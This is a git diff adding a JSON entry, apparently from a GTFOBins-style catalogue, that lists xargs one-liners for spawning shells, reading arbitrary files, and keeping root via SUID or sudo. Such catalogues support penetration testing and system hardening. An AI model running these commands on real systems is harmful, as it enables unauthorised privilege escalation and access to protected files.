diff --git a/data/xargs.json b/data/xargs.json new file mode 100644 index 0000000..3d42105 --- /dev/null +++ b/data/xargs.json @@ -0,0 +1,35 @@ +{ + "functions": { + "shell": [ + { + "description": "GNU version only.", + "code": "xargs -a /dev/null sh" + }, + { + "code": "echo x | xargs -Iy sh -c 'exec sh 0<&1'" + }, + { + "description": "Read interactively from 'stdin'.", + "code": "xargs -Ix sh -c 'exec sh 0<&1'\nx^D^D\n" + } + ], + "file-read": [ + { + "description": "This works as long as the file does not contain the NUL character, also a trailing '$'\\n'' is added. The actual '/bin/echo' command is executed. GNU version only.", + "code": "xargs -a [file] -0\n" + } + ], + "suid": [ + { + "description": "GNU version only.", + "code": "./xargs -a /dev/null sh -p" + } + ], + "sudo": [ + { + "description": "GNU version only.", + "code": "sudo xargs -a /dev/null sh" + } + ] + } +} \ No newline at end of file